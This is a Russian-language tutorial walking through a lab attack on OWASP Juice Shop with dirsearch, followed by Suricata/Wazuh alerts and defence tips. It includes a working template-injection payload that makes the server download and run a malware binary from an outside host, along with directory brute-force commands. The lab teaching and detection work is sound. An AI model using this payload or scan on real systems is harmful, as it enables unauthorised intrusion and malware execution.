Мы начинаем серию статей, посвященных утилитам red team для тестирования безопасности приложений. Рассмотрим популярные инструменты, их функции, примеры атак и способы защиты. Сегодня поговорим о dirsearch
dirsearch — это инструмент командной строки для автоматизированного сканирования веб-серверов. С его помощью можно искать скрытые директории и файлы, исследовать защиту веб-приложений и проверять конфигурации серверов. dirsearch часто применяется в рамках пентестов, но злоумышленники тоже не обходят его стороной.
Мы рассмотрим пример атаки с использованием этого инструмента. Попробуем реализовать на тестовом стенде типовой киллчейн и обсудим, как защититься от подобных угроз.
Изучаем тестовый стенд
Итак, у нас есть тестовая среда с несколькими виртуальными машинами (ВМ) на Linux. Для отслеживания и анализа событий будем использовать открытую SIEM-систему Wazuh и правила Suricata. Топология сети представлена на рисунке 2.
Рассмотрим первое устройство — Victim. Это виртуальная машина на сервере Debian 12 с IP-адресом 192.168.163.157. На ней мы развернем веб-приложение OWASP Juice Shop.
Чтобы посмотреть на наше веб-приложение, переходим по адресу 192.168.163.157:3000. Там находится страница онлайн-магазина, на которой мы будем искать уязвимости (см. рис. 4).
Далее идет Attacker — устройство, с которого мы будем атаковать веб-приложение. Это ВМ на Kali Linux c IP-адресом 192.168.163.158, там будет работать dirsearch.
Еще одно устройство — ВМ на Astra Linux с IP-адресом 192.168.163.159. Это машина, имитирующая клиента для веб-сервиса.
Наконец, у нас есть машина на Debian 11, на которой развернута Wazuh SIEM (IP-адрес — 192.168.163.153). Мы подключим к ней остальные устройства, чтобы анализировать логи и следить за атакой.
Несколько слов о SIEM-системе
Для начала изучим интерфейс Wazuh. На главной странице отображается количество агентов, которые отправляют логи в систему. В нашем случае их два: Attacker и Victim (см. рис. 8).
На вкладке «Агенты» можно узнать, в какое время были активны устройства и когда их выключили (или же отключили отправку логов). Это полезно для выявления аномальной активности.
На вкладке «События» отражены равила и оповещения безопасности (см. рис. 10).
Для удобства можно выставить фильтры: например, чтобы видеть только сетевые алерты. Выбираем правила Suricata, с их помощью мы будем отслеживать атаку (см. рис. 11).
Устанавливаем dirsearch
dirsearch по умолчанию входит в Kali Linux. На случай, если вы пользуетесь другим дистрибутивом, даем краткую инструкцию по установке на примере Ubuntu.
- Убедитесь, что у вас есть Git
Установить утилиту можно с помощью команд sudo apt-get update; sudo apt-get install git
- Клонируйте репозиторий dirsearch
git clone <https://github.com/maurosoria/dirsearch.git>
- Перейдите в клонированную директорию
cd dirsearch
- Убедитесь, что у вас установлен Python, и установите зависимости
sudo pip install -r requirements.txt
Если у вас не установлен pip, используйте команду sudo apt-get install python3-pip
- Готово! Запускайте dirsearch
python3 dirsearch.py
Перебираем директории
Запускаем ее с помощью команды python3 dirsearch.py. Используем базовый синтаксис dirsearch [-u <url>] [options] и вводим команду для поиска скрытых директорий в нашем веб-приложении: dirsearch -u http://192.168.163.157:3000.
В ответ получаем список директорий, однако не все из них доступны. Все зависит от статуса конкретного ресурса, например:
- 200: ok (запрос успешно выполнен);
- 301: moved permanently (ресурс был перемещен);
- 500: internal server error (внутренняя ошибка сервера);
- 503: service unavailable (сервер временно недоступен).
Находим в списке директорию /ftp со статусом «200». Это значит, что мы можем в нее попасть (см. рис. 13).
Переходим в браузер, добавляем к адресу /ftp и получаем доступ к ценному ресурсу!
Изучаем содержимое /ftp и заходим в папку quarantine. Обычно она используется для изоляции вредоносных или потенциально опасных объектов. Находим несколько файлов, скачиваем и изучаем их содержимое. Бинго: в них содержатся ссылки на ВПО, которые мы можем использовать для развития атаки (см. рис. 15 и рис. 16).
Как оптимизировать запросы в dirsearch
Чтобы делать более эффективные запросы, нужно использовать подходящий словарь и флаги: они облегчат восприятие информации и ускорят процесс анализа. Например:
- u, --url: целевой URL;
- e, --extensions: задает расширения файлов для сканирования;
- w, --wordlist: показывает путь к файлу;
- --exclude-status: исключает определенные директории;
- f, --full-url: используется, если url включает полный путь (включая параметры get-запроса);
- -r, --recursive: позволяет рекурсивно сканировать найденные директории;
- --delay: создает задержку между запросами (чтобы сервер не упал).
С помощью этих флагов можно создать более эффективный запрос:
dirsearch http://192.168.163.157:3000 --exclude-status 500,403,401 -e php,txt -w directory-list-2.3-small.txt -r —delay 2.
Отметим, что сканирование может длиться долго: все зависит от размера словаря. Чем он больше, тем выше шанс найти нужную директорию. Однако не стоит забывать, что активный перебор генерирует массу трафика, которую легко отследить (например, с помощью Wireshark)
Развиваем атаку
Продолжаем изучать веб-приложение и заходим на страницу с профилем пользователя. На ней есть поле Username: пробуем ввести значение #{1+1} и получаем имя пользователя — «2». Это говорит о том, что поле настроено некорректно и содержит RCE-уязвимость (см. рис. 18).
Значит, мы можем создать полезную нагрузку, которая будет злоупотреблять отсутствием инкапсуляции у JavaScript-global.process-объекта. Попробуем выполнить динамическую загрузку библиотеки: она начнет на сервере процесс, который загрузит и запустит ВПО. Берем ссылку из файла, который нашли в папке quarantine, и вводим в Username команду:
#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware')}.
Из чего состоит код:
- global.process: обращение к объекту process в среде выполнения Node.js;
- mainModule: ссылка на модуль, который запускает скрипт (главный модуль);
- require('child_process'): запрос к модулю child_process, который предоставляет функционал для работы с дочерними процессами.
- exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware'): запуск команды wget для загрузки файла juicy_malware_linux_64 с GitHub, а также установки прав на выполнение и запуск файла.
Готово: осталось перейти на доску с заданиями и убедиться, что атака прошла успешно (см рис. 20).
На рисунке 20 мы видим, что система засчитала нам SSTI, a не RCE. В чем их отличие:
- SSTI (Server-Side Template Injection): атака, в рамках которой злоумышленник внедряет код в шаблоны на стороне сервера для динамической генерации контента (например, HTML). Направлена именно на систему шаблонов;
- RCE (Remote Code Execution): более широкий термин, подразумевающий возможность выполнения вредоносного кода на удаленной системе. RCE включает в себя SSTI, но не ограничивается шаблонами
Анализируем данные SIEM-системы
Самое время заглянуть в SIEM и проверить, какую подозрительную активность зафиксировала система. Переходим в раздел с событиями безопасности и изучаем алерты Suricata (см. рис. 21)
Разберем типы оповещений, которые появились во время атаки.
- ET INFO Dotted Quad Host ZIP Request
Информационное сообщение о запросе к хосту с использованием ZIP-архива. Это может быть как легитимная активность, так и попытка загрузки или манипуляции с архивом.
- ET WEB_SPECIFIC_APPS Possible JBoss JMX Console Beanshell Deployer WAR Upload and Deployment Exploit Attempt
Срабатывание сигнатуры может указывать на попытку эксплуатации уязвимости в JBoss JMX Console, связанной с развертыванием WAR-файла.
- ET WEB_SPECIFIC_APPS Oracle JSF2 Path Traversal Attempt
Обнаружение Path Traversal на Oracle JSF2. Может указывать на попытку получить несанкционированный доступ к файловой системе.
- ET INFO Dotted Quad Host TGZ Request
Информационное сообщение о запросе к хосту с использованием TGZ-архива. Может быть связано с попыткой манипуляции архивом или архивированными данными.
- ET WEB_SERVER Tilde in URI — potential .php~ source disclosure vulnerability
Срабатывание сигнатуры указывает на возможное открытие исходного кода PHP-файла с использованием "tilde" (~) в URL.
- GPL EXPLOIT iissamples access
Обнаружение доступа к iissamples. Может быть признаком попытки эксплуатации уязвимостей в примерах Microsoft IIS.
- GPL EXPLOIT .htr access
Обнаружение доступа к файлам с расширением .htr. Может указывать на эксплуатацию уязвимостей, связанных с .htr-файлами в Microsoft IIS.
- GPL EXPLOIT iisadmpwd attempt
Попытка доступа к iisadmpwd. Может указывать на эксплуатацию уязвимостей, связанных с административными функциями IIS.
- ET WEB_SERVER /etc/passwd Detected in URI
Попытка доступа к файлу /etc/passwd. Может быть признаком атаки на Linux-систему для получения информации о пользователях.
- ET EXPLOIT Possible SAP NetWeaver CVE-2020-6287 Probe
Попытка эксплуатации уязвимости SAP NetWeaver (CVE-2020-6287).
- GPL EXPLOIT administrators.pwd access
Обнаружение доступа к файлу administrators.pwd. Может указывать на эксплуатацию уязвимостей, связанных с файлами, где содержатся пароли администраторов.
- ET INFO Request to Hidden Environment File — Inbound
Информационное сообщение о входящем запросе к скрытому файлу окружения. Может быть признаком сканирования.
Как защититься от подобных атак
Напоследок расскажем о базовых мерах защиты:
- убедитесь, что у ваших пользователей сильные пароли, и используйте 2FA;
- реализуйте механизм, ограничивающий число попыток входа в систему, чтобы снизить риск успешного перебора;
- ведите и отслеживайте журнал неудачных попыток входа в систему для выявления подозрительной активности;
- включите проверку CAPTCHA после нескольких неудачных попыток входа в систему, чтобы уменьшить эффективность автоматизированных атак;
- регулярно анализируйте журналы событий веб-приложений;
- убедитесь, что права доступа к файлам и каталогам на сервере корректно разграничены, и давайте пользователям доступ только к необходимым им ресурсам;
- используйте IDS и WAF для автоматического обнаружения и предотвращения атак;
- регулярно обновляйте веб-приложения и все зависимости;
- придерживайтесь принципа наименьших привилегий и ограничивайте доступ к системным ресурсам